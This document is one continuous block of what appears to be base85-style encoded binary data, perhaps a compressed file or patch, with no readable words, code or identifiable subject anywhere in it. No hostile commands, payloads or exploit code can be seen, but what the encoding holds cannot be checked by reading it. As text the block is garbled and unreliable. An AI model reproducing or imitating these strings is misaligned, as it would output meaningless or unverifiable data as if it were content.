zEz&kIee?Ygy-&5m9vWjzg8mRYB|ifgq_70nad7@S$!Eh$Q$NWd6kzG=%y`wA>r5jY zv%4wh1tWx$Ylop8Zsn=HB3?~>zspj3J#^l3dO1QPpz5Xy;u5#=lQat;#MHRII_;qsgs0ELJm4JF?Kxl@NH{h!5BxI@<*g;MUGU9cgFYy;)9Jq;&RTp zRGPdM)fuy`u)1HvgQQ{U_WeNep=YF+R;OmmOM<31Onw5k&yjr2N4NOu8C$rJ>rYt+ z>T3^DcsB0KMM55!koHxxp>7`@V4XQF$?|y;bX-|yqdD(AKD|JePJ$}JG#4`@{FV0A zdYfWI=%Ko$hv;59AfG-49``BKB)>@!dSMjK z(Yq zicC0%OjAPGI{zd56SgLSnX*&IS8;;O0}(1FBc870xnW3xt@{~!b0Xf@wc!~00sDL1 z75m^R1f4SLZ(O~}C-2YX%t@S+t)Is=dk}vbd1Z{})cefCY&p5TxERA*7tNGeeyi7V zO9!1n>*R9JdTj*M_++JrEyvf(X7~XtM}~(4sJ$iq?O6#v%3N%QtX6mcccA*OW~|mN zGlXbswSvm4?cu!{Y!8&5CLFk5yJ|;Lwi_4Q!60foK0>Pdn)xqUSMFTBgGt`n=Tf;` zuYfpvV|bK@#AXJmxOPoV125_BEuIizHBZD2CF3C14De9#?rEdPDRz0I@z_ut0+;foWNPZ5I1$O#26Z`m>GU zV^+rhB--{bFzv6^`hP&oKc3^iw=w)F3F)_WADEVjo#taG$8QoX)1F^6f?N3cBpo-< z)b1VCM7=+!Z^IZ3mr2iDg2I@7*d%U9yzk1vN9(*g9~`!O7wbGIA2qY`~4_4F&WVSWbS<$+5UR>O3Ja8UV4vcLPG@7vDKDDZ$t2LRQZbYpG z#vAu^n(zCow|Bi7J+4HHybwre$@=h(K%=O(86cXZ(T1{q0XTDc`mab zj@Qtnd{y#=dIGf3!o{|NLoMN}bYAWbwT3p2MR?S3#~LkmOdci=ZpSoNwZqMc$_|AJ#Q&#Z8qHy@K;NO>K`JQ~Q>UV#hM&>bVvu!1& zPW9EC_NOl6l`-SgmWmcY&uC-;Y`J4MO}(oB|RxRRL!{&5KA$UEb=AZTxa54s?f+^tlOxg3Gc?+zX{Y$U$x ztW73Sm+bHNQ`<=+7Z-Y1eXcFjDIiHvsU4ayvUSEZ(CtReGyKX66DC6UXn@~1mtTUD z_(ZL|6Eo5++A3%TQDDg%l|6Xt(`!+hiXD#!g>%Y^*k>q-nyI97(Xh2GT_|%wkU_=j zS2t17&BCI+ISD@#=dj(e5$PU}HfnX$3d2QK5=r$q8hOM-1^E%>;Za9r+|cc6<$0mJ zDeY02%KTxc5RjhB92epP)dA zE~f@x0LJe8hrF~*jpC0SFsB$Ml~-$tyfIJk?0{)GA?-Yoi5Z^ZiEBy~9Kbz#@X=y7 zm~NxU?D#lr0V34rxoEP% zp%)l?a5m_u-5_EhJaCX-6i^l|HIAlskySoNhlIqg{_Pa zR7|tAL3gU@V6Vc^F~)WvO`@cs6L`0KgSDS9zu&(zz`#jCx?b~^!@$=vp^J{A!7hSd zCO*A$=1T}wO|Ju}IE<<#5vGK4bBDbtqW-tTSZF&bC|K5a>Ih&eyra%H%b*(<{s~YKmnWRzlEby~+E1>J-xz-S4j!n@5Yl zLGVumN)KniTi?*8Qw6m>liE723Or&Sm{J2^OF`j_r~+FT`+{6mUt`Qg-T5z}xM+7M z#aZCPmWNA!lv_{ZI46M@3hGExxn4kfvNb9kmDO~2Vs<<35l^)svEB(V{B$3(Z;rbg zvbAL<>|Jk zu`z0UcP4f|(dkydOL^ant#|e!tG{IY(%m-WYc6fL{YYGMkmud1?gt=jYdde!uaF`7 z^z<`ESIzWmT1>h7qT?n!KQ4}4*Shw((-#7FS%QlyZ+}AV4-)$m7X-+S>D~mpCZZ>;c}&CSB=`TTi!JZv`?!|qcWb>QN1xZdbmi>#J|aF|y= zeHz@B5*17mXDCh}+4X^7y}VW@&RQUOZ<3Zkt8OI#W6|h78p9U*l^__*S3y~eX0q%$ z9(}MQN*K~?kLSXj0Epu}3aVqL3yX!Ac|vQ;pQCcY+B}#oTCgJD6)EdzlaGdh>kSmG z9XHRPtt#>4mD*m8dxNL(Z+Os?gYP`K%wUN%0;U8GkKzdrCwkTAoyIecn81r{f0#&o zfu<>y_52gaW>X9NYI4JrXHXu^&&tWjcnsY#(}lyujq)L9>}Jv6HEogPu)cWVTTeX7%U9 zw$};pO@Gi2-~kf(?EGB&2J|*{zp^R(*(LVm41*7Xx9}S{{xLg*{5dwvr=G}3zM&j) z4!2D2(JnMu;ipurf#KAthOghAMM1JcvQ7i(d0FC+>LGy#(h)@5s$r+Vl7kNEraG?N z_^LiVB>a5$eG>&56hsD!63~4!h9r@PV1s%JwfhhrSm9|YvN2@ANwT{+glT01k+f}% zbH*V0bW^7JfDJ)_G3bF9^g#?kfKm;i4AIkz^q~v`xXWdIq*92%hR_$YF-h?V!SIkU z@EG+Cj~E)m>ujJ58SHpHU_->)Awz~`Oo86b7}&s?W!S*b&C9O_-nEGuc6}~XyZRY$3L{hzwHY6 zBlqd!3j9`9)(-Y~8hC81|7aUi`1t+LHaa%eKlD{RtzRP${y68~*z2E<_QwUFXa%h8 z42|qG{(*w%v}na>#c2gU4(Rddwf@m9XyAaS!NB$*i+)VAX8o9w!2FS=z|6=*!_J7u z%FOl=Fvaw7nxdn=gR6}Zt(2LSIW0dI7wtc8K+A97U}kMat4OP?ApVaZGE)Z!8xC4p zXJ=;`dkZr|BYRUlJ0lt^BL`YDD_ci1ds;n1Cp{|zBSUI?TMKG4tFIq-|F{CRgEh6a zjgg(6gPD~HwY{sogOMe*v7?0rwSl#jgPpYnwX><2gOQEi$2rtYEFWSmGb{NA_WLCO z;*U4;|G0bRe?%{Q;P!v*o|)kz43&xb|HSTp6`}u^-=3Y3hUFtw_g|Z*r(>dFV*Eex z>Dhkmsr-Yj{85njZ)*jAFtmUF%lx+PA2S)5KCCalySy1c2E6}A6X#zoWMrXXW&52T zG5%&`XZ`g_8SohBKX?`0?}Uu)PZ4r|tH|&{3;)Ss|4f)Z*wcS7uD{8iesv`Mn>{fy zF#cWkRDgbNwaRwwoz+7I7XlcKUrIu@{Wh9=s$JSZY zg)uSIh*;3l4-~{q6wKKBNYXKEwh+pQ%2?k*;N!q)7&EVvX!B)4Oqa zCd0Gy(eX(IO!UDE0df-D4^=}n#BQg?bkfuJ-U1P@A~m{RQ^y>?L4@zYON!~;=>Uwv z2Gvy$BCT;g)d6*##cZrzDzJq$S7xS)MDT!bDG^Gh+>BF~S152j#FKxoa>G;@p}a7i zCiOl7RoUO?vc0V^G}<*)c{K^_TYI-;S#1RraCZLiXf5zbVYd9s zjwuV9&UeFgKbNSX*SSyY#_pTV4}^$uWPAHf(i2M2denlOq;js>FxRb@8!c5jvvXe^ zYqT#>UIR`#?W5clD@xJ_$=9Hnj_K9~5f*JP^s<9KEmN^=Qx9$QEB@zC3qcyB!fJq_O8#8LB|oxk>4;s)(XhdPx;q)9&b^-HjtDH`9d~G)@+1AK- z8ZO#-o~L7)R)|oYh3J_qtFS1X1?0%kdFeo+m8dLF?L4+Uf1Bv?esGXMJUI)ti%#8J zV?TVD4teQO9T+Fb_IdIUkexx=ri}jJF4?$>uSjuO`gtjPiWRLeB4m zie1}HV7>5Mmj@Ydr7QJL=ADV#w(z}52GTmQ+U#)Pr(V6d;%sBMwEUTfC4l_Y?U4H| z@1bx9AJ6mm=(C9TtfaG$wo5ka?19WCdad~MHczJl!<)n7vwq&A^H}4T9OEIn!B(-O zxfm$Ujg^CUqpyU^Hl6;4K)9|vB-ZKW<1s;(KY`8zsY{v2aYsDEmccvrZCQ8=!b)F4 z6A0jdj7ITV^U-89&%?z;JaLi`VikZo;BQmQ@Ck2o%6oYdATQ#oOq#W~-`7)Bd`3K? zD7l}!@Dk8IqeFyJy(~Q%0AtR5%Bc1&ohO0~>B>umYM~s(Arbcp@fa!;$1I$8i(K(u zqx)&`sJXb>E;*^RS1#rLU7>XMtp}~Hv(09`)N$64WhDp#;|SMw(v?qQKwz>5u*S(K zOg|ulvO{%=0x^_s@5}}gzXEvDEeb9lI1HeLQexmo@+9;e0JYP6$cP}M(7ggnvEk;d zJMpFIP^-CZz6IBA`7J$2Er@zT{{E*zXND^?Nyc;rM(LWmr0=%3-CAcfcFD2+bs;ot zy;3!ijg$uKdLjaN0OFvL1EHWMaQeq&4hz|#`2k6`uo}uCsfe+6R#4T-gdWmxN?3lD zwLGK`P#8*?Y3eT1rITI(U5_#rR^aMxFkJnVCDFiP8mU98!ctj z;WDMebMXx8#sO-Cc1RedvaPN;L#_&ruPB~KZlp&!qohG2hV-PuY;T5Vy(DhJrBn5f z#lqT0-M_lC#|QNQV`kQ`GKteWl~U)X?3qKF&{r(wW#8MeUIR*_pLXIBn7ZQ8Dc!P5 zD|`;BwqtRWCq9a8_KCdI%9`@w>Y4c3rJFKkb_&#i?M5x-;~~a08KpArsYT>!rW#{7 zK@aNfd?z)hzRHYh4ywk4r6>?PNgkqvpn-qr>dGW?6_N%;P`)R3ul~L!XrmRvA z*#YP#ux2hSln)^42bqLMO*kIuIM|83YX zmhUL#Kuf_Rx)6~f=@pEw8p<+QZsx;GaMx~T5C_MN0A9U@`PIsi4T+IF_~b%PzN4`| z;@)d*20;+2YY(5nj$uxI<`mY~6<+n09@CZBB0xd?%As#~n2+>HS;rxi`2rkA*R5Mzjenb%q02dNPl5|w#hqdO~ zRZkfG3fz)_7N{>{S_z9*$1%EK)zKw)@$waL6+Y>+ssqNNq^TU$N4D-PDg}uqz%5^xgI;%@Wp@X2_b|x0-FkXn;)Du zlw{2v2!`S(LUFEpMUR3(_EXN8rFU%?(#*6xxd)#1_6CEJst8B!I3~5UPs`-$MTRaG zYWJt`5~GvP0?3Q@8+E3o%$H(0V@1UQ^QI^dVg=X%M6v-Bz7n`H%m=GrG~LwWjDBZY z%z0*Zv-X(SbNDz;^g`sWMUe{z+DkA(6ULV5v0=n|&*Y{g?*=oyT*zElDn?QIk%5`F zNd!$-W%?dh-LUrQ{7OQ}UtZD*OEA$WZ3j>Q)aNR5g*$7OwsKOj{U?I2x-9qz83t9- zRb_mcYlv%ixWS3H9X^jHsY~jZ>uCxxA0kjmK{+YV8mU$9+3XmzIvJ`Y;ZjJ(*9xeh z8dN9y=rM?t4uuZb72LTqo^wvg!?)HL>5cI%1j%KX(KE_vuvcDX(ft5{BpEt!i-wyej|o zTy7jr`|8W)1^^mQt+#tw@}RZ#Z7GkJ82C#BX_GH>AV$xfJmK`YsQEe-q= zzsu>F7(snZ+puylvicx_Y;1o}zdyyheArR`Cl!g`X(ih~N5}n%M*i`)f1~36C6!>H z`-pe>0K5O<5)Ab8G;GX_{}+hV2WtN_wEyGF{P#7Q-^N`0Y281j2r|)p$ezE~Xnr#~ z{pW?utTc4La}c&azWu*H)8AqQ|AG7eR6_YU_?0XCQfc{n^x&g@^dE2R-}HdxV_Sc- zxYD5ZF*t(_(d$xYyU3Cmft;h5vRgmazR^E_w(k5)Hx>kVrO?vSfsLbe*PGWdrq+-$ z)BIZhiVU?(wZF8=)VVRWrEYVAC)4$Zqsa!y(?b>+McY-NunsSsDu^>)P2XlkWEPhQJ0IBU4gcd-x|4c| z3N^et_1<+}#Ym#w<5N&mo3dlPGBJGBY3Y=EQ>5CLB&ekYUc4T=vZT+l^`6gXpsW+= z+z71Rr5dT6{5z1wt8qFaQc%L|gIw%}c zzIo5t(j5~EMWq3T!HF==!$V*s)71Me!?sC2*r>YlTO-du0+KU!MbpUwrVzEPl(I5cT2bnX%r$P zg${M_P6=aUW(_6T%pp1FQrLUOq77uy1s%p9s=R)8V3@o|VvosKirh|TvyGt}l#E%B zRU8q2NOV=yqpaEb`O;UKMxv1&z_zUNVp+QbbkM5V=q7TF86w|8vRtakdf8aIVCb$H zbP<3v7rVT3ly$E-Cic~q4<~J|Z7#gLf;{CDa1?^bwXuFQXEhfe@X*nMhdYFeFVZ7N z)t9!U8AAXf8wdxBPTl~x%J{-qU${msW)@0kw;sJCAuD|`au@tn>aZYK1`ZZXwWEa> zf=>&(q-%hIPP(JoS-{{!nkc1_nT}s*Vnq(r(o3=$EJy?H0f_)bP6DlY_K98tVYL}^ z`1d%(5wP44)^Zr@gpW9EPrgt4UiNVyynPQs@$G(S@3Vgo;XMjxdni$4h77^s0I3&L zYv8KY^)HKSTb78eSUu~&g6Pfbap;le;I>$sCV{>fTBn&zii3xJG=LGk{h`l>Mdw9D zaQd{ln5HwnImo&w<(1r^K^?8)J2e+jgiR2G@P-c*JH};fRgC~>hNcmQ2sqKPvH9{A zW)J5yTrW1L{vAS))nZ%gESYP{;M@gnie!V<0#{23yC++HR_wsSh5>kLPf=kfFmD#)3_IP~tF?{sPWRWJEN`S8#KR(G7`h_l? zmv`SR+9L7>a58BTKk?H*CWL&O>DW=Xq-O5>dfJGMR zFEMC((S#685pPGwEXF)_8SAF?=3T{$(S{gDqI(U6D+IFb&af=%{n^m2Sg9+=awGEN zXgLS4?(^s#+~^MpXm&-UA2rHl%_K~ z+L{RqqC}s4&210N&Q1NnRsho`LklFF8B(orj=T)~_?J)Q;yX<>4XgbWU}9W_Sl z(>jh0ddh@R%dwB`%~A2*eIFi}t4~D0)R0)&7-b;M9U1ip!_c0HxcMWbzFuR$H;tQr@80E&_n zU3kJWnPj>K7;tMe`AnbvY~Gx0R_2#0D$@3m!S3*J+%~_LnJ(PP070Y=%x1Cn%@(b- z&q3w_wlyw!hT;UYE%`Fy`YuUI^uCax3GJXuZzBg9r}&Y9=>kze;U?_|P`Z0bb>{7t z1bI=mC%h(Qpt|1_Ev_APpz)Vq61c$tK-HuDa1Z8%iT91WB49EMPr)kWneiCU1C0i3 zl*jyL>MMeuQ59>QOUeYdh3cNrm3n$i@78%Lq-UK}8PJz>Nxnm1RqBBM<@AuEM*$NZ zX=tU?V2xQ|gUJp7+&!Y<6EVh-V^5+at5R|xR!JGa8GS^!o7_2Rj$`B)oS2CsWy)^J zNQ}v7>(^4p(OyrHQ-{%DEV211AP7S94YX`xPYef=s!`UAs zeU_XOXAVIG;2wi)*=DNx{>4aI_LiFkwXl}-z>Us;56B9L;fnsm=xNM{eh)?G7bd9y;NiI!&T4S7`Cwrp_-_e zbgIJxW))_#{Ovtk69H)RE6i{)-jptqM5497eJpVQJA8M7iO9$-04>lUCl|O;fmU&@ zcN)fm)sd(9%M z$tbdth5`GaRd3&Zf_`y`FETN>1)y;rJD-Lfh1Mi}WZR&{Xq)1)AvfS#v2}pSR_a;( zPh^h|sqNFrSUz)mYR%ef&w`ue*WE7PPFYBpHXDg!d$BUvU-WnJr*LGwGeSI6R9*&@ zCH4(;TUUpB3EsS5xQ>JDg&>hiJq=3*uqxNBdsw==kp}5l zG>dL&LAtxUyQCx~1Vl=@TR=KQK{}*6m2Qy!J-W|6$9mth_kOSI`~L7!)^f6*`-ywa zIp&ySJkt(|TP4Mf-On}L=d&#Ir9pY*OS9e;qpxBIDL;DGC6IRAeC4cJdI>k?9ULJ* zbJ`WI2zL@NulF={c^2v9G!OaJfz+#8g5=qAPtPS@N9>#2gw*}xi)np=exctKUO(u6 z|Gx10mf-%_&*S+9+yC8u-gn(9U=sH~N%PkZ!nfo2?`6ghwEkb>*vQz~IGF(hm0!vX zo^MC|&&!1$Dulo5IsSv<`JWX6J77QaS1SY!ZTs0bn0`YQAY8aYWR>c@YRDZrFKIko z4uSdTrmI+77^V^2M=m9_-G^<91gHv}4({5%%e&8#&jrPe5 za7|CTM3pVrkzY2VW}D@VG2~F+yl%a_Z(2_phh0dglRHy4{l@Lg%C*j8o3~~vLX11D zjO%rn`8z$3c3zD&W#z^O+gbFZc-xEXzOBi3+B7_I=RtX3f_SSV`G6gmM;zKdgbf-Xa`Q%owscxY>KvuX7p!-!x42L*e^ zCuvUZ`MfwMLhYd}=T~lJW*#*~FGZhg6Pmb;1RCnFRCki?VZUkg;pB$m<08DBK7-7N zWeYUEUuvt#cCNE()~OeRrCGk}HtSOtG-&dmO2;)=x_$zmdh%1Wp5OAylwZ5jitw!3QX-x)R<4N zR-IY=SmoNluFkYfq$-uf3P|`IHaxZAK7r33KG`Pz&?|E3*RL+*o_l=|Tty*G_d3Zs zd*W>*$b!l=>&$!n!RV%T8O$fAF|%Xx0h!RWp#H#C@i->tiGszNXkGL3dlw+&s1jZI z&xJ3O3aB6ulV4X(Cq96H4mODEU5hFqwzA zVLqz^C4CGpgBfJ4Sf!m=MxN6_qvDqv+Kvx%&_7uel1Ndbt)4uhj+U*&AUEuUx7*RO z!*-iwACP&uWZo5SEZ4*vRm!s^Hbz*}6X4z46M9c)P;Rp7$(Kxrp;SS};m_F|NO~#* zS#QVUUJO6De@PEzY}}>zG(97Wg7O`o)rX9{7+Q(ud2{L^=RkRHew~QiB9mGXxiHz) zt@`uEz#cd?$TcjAlWGVGo!PoWsj$jG6nsSLIcyP!cP#^^D2^JRt|XUGv=-FrOEsZT z_e-{?WEq|&-N*=|Og$p!=h0}*6K$F{PW@85uhhN0o+PBgSjB_Vmuby#eDTpc zWN3MZkLUKD+*}`IT32Z~P)ki_Z(qak|PCCfDsZVyHvbIMgV>s}*i)YHHsg7QQ0W;p;`7rK1U+@YUe#7`C zqP+!Lg=Aq#%JU(JxGc1@_t48w!+}^XShVV7i4A^*M#SCBIHoTBWuYpe_u`lymT4;p zPJYpJbOIL#I?(ATzV(R-;+Yu3Cl6gB^gO*p%Wz+6 zt@%<6y%*-GaE_&GPqXbmiQFSkcj04DJD`Az`C_l$RG2`2siv#jg}q6uzIima(f z+Mki&0@)|hXj|-qk9P)jA^914WFIu;Dd=o9b({OU|87!wt-iU#wK4G-wy^T^5FIk3&&T<1&iS+Gpn?7+m?RoND z7PK`ina+T_;}4H7{VY)|bRcQP^heU{-*K6E;zg*==H%SLm=+;9`dhH8W{Yb3iM@aj z(>x87>?ij1@13a=)Mq5>=~Q_0nuz7K@Py+kjN?o;kFYU$uued{zQnX23MA6X?OuqK z$dUOcnik4Xg_cPgKR5n&Dd@r)%P(S(o?%uXRg2om70W8QWmP8|?~t?MzI#QKmf|I# z=Rz=YY28=ddLk(_{e`!0Fmh$ixpnyc#5Z%FAyw$d^U!<2lpp(JRE5(`#whfO+@*atrOA4P~#n`u>X|>5mqmmJ|D^ zHVCLgSj5#Mi{dOXP}bb}hg?^=ESr$8-lo z`U$ERO9{Bei`~9^4I3|YcKnkciRqVJ>9Kf@h03yJ%*{EE6>!@Z9U||+j_NNHx7%yp z%IUM&^T@i+EV~~#UEifgjjulA$ED{eO=@&5D0<6Hh9fnyu60?J{n5s>94$c(TqD03%8SRjrfx)i5*QP z(%B!qC5k+g&Q6z!Ce!6tc;FAuRoxS=&X-Klop!z1o+V&2fZAAkFB0Avisj;Qgt*{- z_PS-R%eW|keRVT^?Xs0y4?}+Ry%fjUL;m8dYYFyO9SGig)5{A=w^%()9*F(#Tf3Sg z?D+C0Aj|3H@^+`@m0|R#G1KLj8y**Ptgo_Q(bl{yV9eW>$#CXlUZF8ogvYj=q zJ$N}N0BMika?5HL%F|B|ej>T_t9m@ld#J&>K!2crW z^L(?#0f=gVIO5mWf9x!LPn-FhodpiSnEERh2Oy}Cae%=9Sq+f10oZBaf7n*AwKR6J zceXckVK%n6WpObzw)jd?b2c@0b+UBvWDy0pXQludjYVD=#KQ#Q;$gORcJTO#a`tWQ zf9BMGb3L3uO9T+f2XJ!cubmxE4iMlS3H%KBcJr|F{G(3Ee_4{zpG&fJ27#GC0KMzi zCH-+3|KXCrfCD%ypzP1h%m!Ehv9bay0lX;zZF^=m5cvPE75#BT{=*fq@qn4Rfsqz2 z5IZvuaJBw@l~@5{Aej3ft?B<`TI9Fq@ESDKG-h26!*<0H*`E zS-Jk%P5S%gn|e4H+L?Uie!5tg{+sh@?*_0vzrOG*HPp%8_S-uqhAxIihR&uxKbc?a z^FLSptxW!dFUz8#sYM3xWPyvx3{=EFyHD_Z+ZO+f`zuYgABL2E=%f8znjIMQ{ZQJ! zs$^CUzz^duR>@`Rw$7_cSi>lt(R+ABsy+ajgiw@Zr$d(itCn}bhF^FAPc?vxG8NmgRp+gC0cU9~p0BvwfC)ZOo=)-QE8 zS>7E^UKA{YYtYsj1gM_}b!xq2r(=6%LHOD2HER#APA}nHHGB=@g)oo%c*-t4qFQ&T z?Tl9%j2|OuLx#CT9`2Z{6AR)gk(t$;sr6~)>9drKY?F|t?Z?;U8MvsfJXiG5kU_|1 zqEw~kl?`o?>_RH-0_ZK5-YU%Zig4dxCej{>-m1&ADW-<5bm({E@K-Oqr6$QJ6DK;C z(V#t?JhfcBom~(s8K;t_PFtCN_wE!NY!fl|3f&LKwCJS-&xS-DqqrvhDgwFuiSkIt zk}h%yX^uvL<#XoQ;V-5n<{0l!nh&rbI%iA2gi@PIuN07*i9^R)+!sIYKnrFoR!HKQa$^g_?B#g7)`tLR3CayRzp{n<-?o3 zP}Q*{GY(%3dKoq0T-51p#m!$CJ58w_Hj-ODOERBBC$Cp?cTyc9#y>{jSt2%gfBuw5 zoB?&?Xb#WJaewnlnrYfXv80UGGFFy{JyXKw8I5D}astg==&9#LC7fl{S@U}vwDo4U z5<#U!qWc)#bxodJK3jbbMWVL&%ryOLFAbyNNy%H9HEGwSX%64CR`onpq{O~2H$%qI z1&urYaVQ6YQbj4uFr{l<4evY=lOxJZMM}qAQimzLo3KJ0f>T5Bw)RDvU(`wui<_@P zOW~YJ4yvVVV(J?@26~igMeO+-*2h*!$(&Z*EDI?p3*v-A;4ADwWV zxWlip)CjDnJQqO*XXPZF&M1;htPOnl)VKM;J8yYFJI~;Lo?#tR*oO?cu#l+$+0K$D z%`8^tcRKw;`vJs!5yd#MI#V?Mp6o5@q=>VPP%*t3BMi5WyjKcofp4raH=?qtz`2>z z{?;#Aj*y~=CP#2;Yalx#Q>iB_Sxa!B?rml83?Z-j!uQmUIv$pG)M`M3k3#%dZy)IB z_3BX{qd$tIDiLp1u9073;M-rwEJ@69QujI+zPK+W=rwP?fFyor)FnY!w@k}$ftd3J zKHj-Y*NV@|udPH}^V4UMoKGH5_lC&!4`=S(L$45k)vKbP zt`D<(1ucxf^P>IZy!N*7mkPql1S0nE(~X=)!~1;~I3e#t=0wlowvLF3paAxzc6VoE zaGF(u2)`P|JRf5({}Fk2FXt2yGLtNA256Qox>zn$jNpclJF%aT2y zg!d@kLYW<<3QadVRr+$|9NZ8C7X;c-NpaP$UiWa#;{P3aLZl9 zB{St92}Y1w#rTz8prFi7KWos-!SsYvsj6R#D`QycbU6-E1omuSN?%1G9 zUk2WRQS2iz+^J<6EB1^5xH||um*u`+b93+yj*Y*~&Hvc-e*l-k0RQ_RM0|A_>H013*!_#HQ(q3Jx^gW>n7qJ37B&e=_Y z$V)15V#Ll(edcX^jttl@;3;`Hrtt7R+LSxN`7tQ;+$<@#yvLqote?S+SKH3*L8|RR znP!=0kQw~wB8)*i>vFl4m4#-cf=6UWdLwp10Q^+nMUvS%&7vRO8E6T-wt$&+6NJ?s7mmr!!Ph);z;y6PU^UZ}3nC zW1c`yND@vC);^Y_4S~vcmGQpK;Ji?tn5t=rqXx8YykjVdo%{yzKCubtGY_tw=;V2D z5b@z*o+!P(_#|X8E0MunXFIgF(QU9m)35{e<_G zx7}B|^k%$g6zX*~19ct#Gl%M!(|*j2ek~sv<&CuNmRU$!+`8|(PCXfxXgNF@HCCD^ z8%UX4Pal}^T7BTXct+%{Mzi5yJ{EnXdOlU_*2y4SFWw#eq-^HV)?czA%a}Q~z z`@0l)L&nZ#!360qA4f;c>MboLCNLk-J>-`t#aGWh4@~u6nA6jH)RPabT(z0pl7%(d zg>bi%b7gO_g62~+Yd1b6GOULl{UlcSgm&}!MI9YU8#LZ92y$z)7fIt?NeO#5(o zzL0{XB|eOM^w^QP^=(j$oXZ0I!aa8K74GlMpo!3{f@>^4NX*4FS}@I2nr$(~f6Zk^ZT zsT;>A&t<>Ji&eVDl_aw=)v!VrhhO43(nQUgU}GGH)C$o);*%mi&&w++&;L|cH1d!n za_-UV%wGE0(bj^_26|@w*$+}l{lYK@6a%{a1GY^sVizoMj|=r@I!BORAHU>5S>chk zttm~7piTM2$IKgUxTPq5RNA*!gS-ArxnP(`)GTmQH+T_a9HuVwoP0kWy}C(ytqSW2 ztY(Vq3kw=-CB|hj9e&){$1e1&s^+_OrICA0(%$!b$bt^l>a5Rg%}a`oVUXd5G(M`X z6Cru>mqn6rz^7GCG4|@(k#8W=rm1q~ui^}d#8=607c`%mshp)IR^09Ty@Vm1>p+v3 zG||o=RW;^@%dhHkR`!|k9ERp;9l6AR?eF+Da~)G}5nk|9XPQ&{y}0{+;j3BkHWrPLi0?F4~~+keINoGDsjL9M^$Ao`keK zAsOM1{ByN8u-xV50zoUNvgB8`*BiA$>w?Z?g8gN(n8IKWCX#zxp?*cx%)8!M&0$f{ zDp^d!<*(rw*v#@vxWx+C*t#tRR3H)E#fGdI=foaM_ExUN`Y)1^A8N|K&||=lQxi2N z$nSK1gf;D^jf;dx^w7dxJD3A@P^5q>>AutM_MzBbf~u{Q)U|>pW=jZdjG0@S*E2bo zN3BetL`7mIe*Duqu`scHM_gEg^T7c(j6{mvbEZx0Yvk_Jw zv;?&g*3~$EjsyJ+Y}Sl4qEq<6U+F(6i<;u-jU!UeUu*Y=MheauYbYG}k@*vi9Nl%?#T zTgMff4s>>U(vK3`=mL}Cc9zb9v7}W)4i}2&o)w;cCCZf6Tq=PXRj8M^7j44k+rdxm zsVg`ZU!(G%JLH0Z;Q=FW?WhYsDIe7t^y6UeDU2ST(0shc?Ed*l1OgwDSoc@to9J3! z068Ig@5awfEO@dU59QCzFw`tQ=UfNeFWT!F&gF|)OBf)H#s5rXM z*Y>{ts5~TQN$_3(F$A2J%Ba9R*QyDs8B?WhzR#qJx;Z5%)mz`*pY1}yV>2<) zOF%)!S3x$Tc=mROV-!zcYrj0wsDUN|4Gy2!cS5+6r|(@(Cp61!sWw!`OXo%#g{O8D zJ$d?Ze%U!_m|_Vc*N9t%hOa*q-y*&cRf~SqDi)C10Gc4%p)Eh8pdJ%}lbWGzi5rq; z2{x3b&`;hb+e6jI^7#O(e)5u6$-#QaQTKVqC6RNvM(=tFTaIx?+6*z;V$S3w72KBK z3z9bJtkbwDax!lru`3YQ;U-IF0K3XNDuF}K$5=5GSb^O+;ncoYo&LHXifuQWE|%S* zSWK%9A1dm-3;1xHh0=35aWed1bCuarH>v`;ukj=kp{N z0OC(9X)x$to%#P@onX+n+W+r1>;E%+3kK-7e_)({4Bvi_Y5wuvpE=Xt!~i)sIRSVH z7`EkRW#$0p={Ue&VI?w700ZO%{r$;HLnmVkOE*(zVBFT;!qCCl()k;<`RB_lU*~B} zES-&Q?44bmOj!VqHi!wt$^rspVwf#lY;AtTP{2P}c>c|m0p90dN0d1MERYj0;b8^F z8o$le0$3o&KZDKwI=K05Rh+*AH-GjP1p~hBUoY%`L50|V7{2_LPk$c=P$M|L;$*)u zGyO)m|MTYfO&|wwez<_&{xc56{*CMZzXY=L00(4{|E0EcDMZ-_j^Y7#@{}S~a%=#P1jE$A!FP9U$8rsgY z-|UZ;Tn3>yl^;XHFYqU9zA0PHr2$(SyAI~YbVEhPc7;-y>g{}9%+zHReq6P);c_&E z=Lo@wJ9PyIGdP2g7Mak51-sa8sL+{Ch2)cDI_Tu>>o4Y1e4y&YM{ib;YP4qOrqnurb{{et)Bh6aBb$%Pyk$*tF^DS}d;3KoYUi zD_YB&ZOC$i5(%alnh@zd@iWItQz^V-j%}J+|HJtb|4jckp2vFy?C1v@8@tnwD)jC? z5uNL`dN+L8pZ1m?LuqAyxH)iM9ZcNfRi$Xlt^4_m?{wwn;@!YHX@X_59y1@p`FO@s zr(yq4_EYQQkWMts{5DPAFV7^{pRuAlX3>wg2flXQI%z-jSUV=We;zPxklZuJed@Il zQskh|gxltaoP94EO<%G`mr@AUu(?a=vm2*x9zpStE*i}iL}mDq2K@AxGVje%*5@Sl zjK)-DXH`K%*f1y7uGC55xK9Km&+`1@sk$1bu$ks4gO&)^#@;Bo`;O4I(CcW9l-f+( zsHyf$j>y%=g<83@qiu{=3#Y3n@HIuVMFmZOKw4OEFFuxq`&mQ`9`ubKpyG0E450QS zAzSZu#3)3~X*bX7h0#pKhWPbI!_j>VU_d4>JcSEcy%>WsAgm3WvbLlu@mZrb_YSJ( ztRHD9*BZZkJ7V$qOZ#xUoc{7znbzrpf!&uz45`_3V-Bj^;%i%V`uCGsJH!sty2^H0 zpHXtH`E_P54O8X&a!5_q$FgJ?*It*$@oE*kR+0niP}<;ZE$=8t-|z&i{ttR z<+7`|Lh+36Y3W0LQWRg!y*cA$!p3*aL(zF@`Z8b;Ml)P`bj)XVoXNNOg4RM?kfJ!n_z~Rw0yZkfJdrVVNkMnWLrki!2O-NuX-}bC zvWu?rC12Kr#88*2u4BO{O?Z97pK~^0uvdOET*3#B~mC0h~ z=YMBrCn2c7fGf%@>ZWiMA#(M(>}ZE}Ah{0Hu7)fze!h9%g zVR$Mfy(6r<(U7_r#sfd9FL*7swADi|?h|uq@E~`W1U7M13pkL~WmT6dtwDv7>`v5K zUYbsFZ=IAV?&4V_K_MbxTA+uM!sS2GwdE?9-KA4wgLbuF9P|$*yY{?YetY@~i9*hB z3h$oSbBNHTmF<#Az`GDNI+A?2X}d(I)+9jHhmMkmEpLv=oqB4>aF1f)bMFuzJU5C4@+CSA2!7Fo`KQ-jw!oo++fS56( zi~ZOc0MaBSS4?H4AN@GAS9S8)1eyzlYYB;os?w6Y8P~3|EaZaX-U9i+N5yn9<4P5&B#$0yHdrOgS8az1#CvH7Y~0Hi 